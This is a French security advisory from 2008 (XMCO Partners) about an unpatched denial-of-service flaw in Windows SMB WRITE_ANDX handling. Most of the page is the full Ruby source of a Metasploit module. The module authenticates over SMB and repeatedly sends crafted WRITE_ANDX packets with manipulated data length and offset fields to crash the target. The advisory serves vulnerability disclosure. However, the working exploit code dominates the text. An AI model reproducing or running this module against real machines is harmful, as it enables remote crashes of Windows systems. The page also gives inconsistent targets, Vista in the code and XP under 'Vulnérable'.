Rechercher
Contactez-nous Suivez-nous sur Twitter En francais English Language
 











Abonnez-vous gratuitement à notre NEWSLETTER

Newsletter FR

Newsletter EN

Vulnérabilités

Se désabonner

Xmco Partners : Déni de service via une faille au sein du service SMB des systèmes d’exploitation Microsoft Windows

septembre 2008 par XMCO PARTNERS

Microsoft Windows WRITE_ANDX SMB command handling Kernel DoS

 Date : 17 Septembre 2008

 Plateforme : Windows

 Programme : Windows

 Gravité : Moyenne

 Exploitation : Réseau local

 Dommage : Déni de service

 Description :

Un programme malicieux exploitant une vulnérabilité non corrigée du système d’exploitation Windows est actuellement publié sur internet.

Un attaquant est en mesure de causer un déni de service en exploitant cette faille de sécurité.
Plus d’informations sont disponibles au sein du bulletin Xmco n° 1221640751 [2].

L’exploit publié est un module utilisant le framework Metasploit codé en Ruby. Ce dernier envoie de nombreux paquets SMB spécialement conçus et provoque un déni de service.

Voici le code source de cet exploit :

require ’msf/core’

module Msf
module Exploits
module Test

class BugTest < Msf::Exploit::Remote

include Exploit::Remote::SMB

def initialize(info = {})
super(update_info(info,
’Name’ => ’test exploit’,
’Description’ =>
"tests",
’Author’ => ’tests’,
’License’ => MSF_LICENSE,
’Version’ => ’$Revision : 0 $’,
’Arch’ => ’x86’,
’Payload’ =>

’Space’ => 1000
,
’Targets’ =>
[
[
’Windows VISTA’,

’Platform’ => ’win’

],
],
’DefaultTarget’ => 0))
end

def subexploit(dlenlow, doffset,fillersize)

print_line("1")

datastore[’SMBUser’]=’testuser’
datastore[’SMBPass’]=’testuser’
datastore[’SMBDomain’]=’COBAYA’
datastore[’SMBName’]=’COBAYA’

print_line("2")

connect()

print_line("3")

smb_login()

print_line("4")

pkt = CONST::SMB_CREATE_PKT.make_struct

pkt[’Payload’][’SMB’].v[’Flags1’] = 0x18
pkt[’Payload’][’SMB’].v[’Flags2’] = 0xc807

pkt[’Payload’][’SMB’].v[’MultiplexID’] = simple.client.multiplex_id.to_i
pkt[’Payload’][’SMB’].v[’TreeID’] = simple.client.last_tree_id.to_i
pkt[’Payload’][’SMB’].v[’UserID’] = simple.client.auth_user_id.to_i
pkt[’Payload’][’SMB’].v[’ProcessID’] = simple.client.process_id.to_i

pkt[’Payload’][’SMB’].v[’Command’] = CONST::SMB_COM_NT_CREATE_ANDX

pkt[’Payload’][’SMB’].v[’WordCount’] = 24

pkt[’Payload’].v[’AndX’] = 255
pkt[’Payload’].v[’AndXOffset’] = 0xdede
pkt[’Payload’].v[’FileNameLen’] = 14
pkt[’Payload’].v[’CreateFlags’] = 0x16
pkt[’Payload’].v[’AccessMask’] = 0x2019f # Maximum Allowed
pkt[’Payload’].v[’ShareAccess’] = 7
pkt[’Payload’].v[’CreateOptions’] = 0x400040
pkt[’Payload’].v[’Impersonation’] = 2
pkt[’Payload’].v[’Disposition’] = 1
pkt[’Payload’].v[’Payload’] = "\x00\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"

simple.client.smb_send(pkt.to_s)

print_line("5")

ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)

pkt = CONST::SMB_WRITE_PKT.make_struct

data_offset = pkt.to_s.length - 4

print_line("6")

filler = Rex::Text.rand_text(fillersize)

print_line("7")

pkt[’Payload’][’SMB’].v[’Signature1’]=0xcccccccc
pkt[’Payload’][’SMB’].v[’Signature2’]=0xcccccccc
pkt[’Payload’][’SMB’].v[’MultiplexID’] = simple.client.multiplex_id.to_i
pkt[’Payload’][’SMB’].v[’TreeID’] = simple.client.last_tree_id.to_i
pkt[’Payload’][’SMB’].v[’UserID’] = simple.client.auth_user_id.to_i
pkt[’Payload’][’SMB’].v[’ProcessID’] = simple.client.process_id.to_i
pkt[’Payload’][’SMB’].v[’Command’] = CONST::SMB_COM_WRITE_ANDX
pkt[’Payload’][’SMB’].v[’Flags1’] = 0x18
pkt[’Payload’][’SMB’].v[’Flags2’] = 0xc807
pkt[’Payload’][’SMB’].v[’WordCount’] = 14
pkt[’Payload’].v[’AndX’] = 255
pkt[’Payload’].v[’AndXOffset’] = 0xdede
pkt[’Payload’].v[’FileID’] = ack[’Payload’].v[’FileID’]
pkt[’Payload’].v[’Offset’] = 0
pkt[’Payload’].v[’Reserved2’] = -1
pkt[’Payload’].v[’WriteMode’] = 8
pkt[’Payload’].v[’Remaining’] = fillersize
pkt[’Payload’].v[’DataLenHigh’] = 0
pkt[’Payload’].v[’DataLenLow’] = dlenlow #<==================
pkt[’Payload’].v[’DataOffset’] = doffset #<====
pkt[’Payload’].v[’DataOffsetHigh’] = 0xcccccccc #<====
pkt[’Payload’].v[’ByteCount’] = fillersize#<====
pkt[’Payload’].v[’Payload’] = filler

print_line("8")

simple.client.smb_send(pkt.to_s)

print_line("9")

end

def exploit

k=72
j=0xffff
while j>10000
i=0xffff
while i>10000
begin
print_line("datalenlow=#i dataoffset=#j fillersize=#k")
subexploit(i,j,k)
rescue
print_line("rescue")
end
i=i-10000
end
j=j-10000
end

end

end

end
end
end

 Vulnérable :
* Windows XP

 Référence :

[1] http://www.vallejo.cc/proyectos/vista_SMB_write_DoS.htm

[2] http://www.xmcopartners.com/veille/client/index.xmco?nv=1221640751

 Correction :

Aucun correctif n’a actuellement disponible sur le site de l’éditeur

 Lien extranet XMCO :

http://xmcopartners.com/veille/client/index.xmco?nv=1221642256


Voir les articles précédents

    

Voir les articles suivants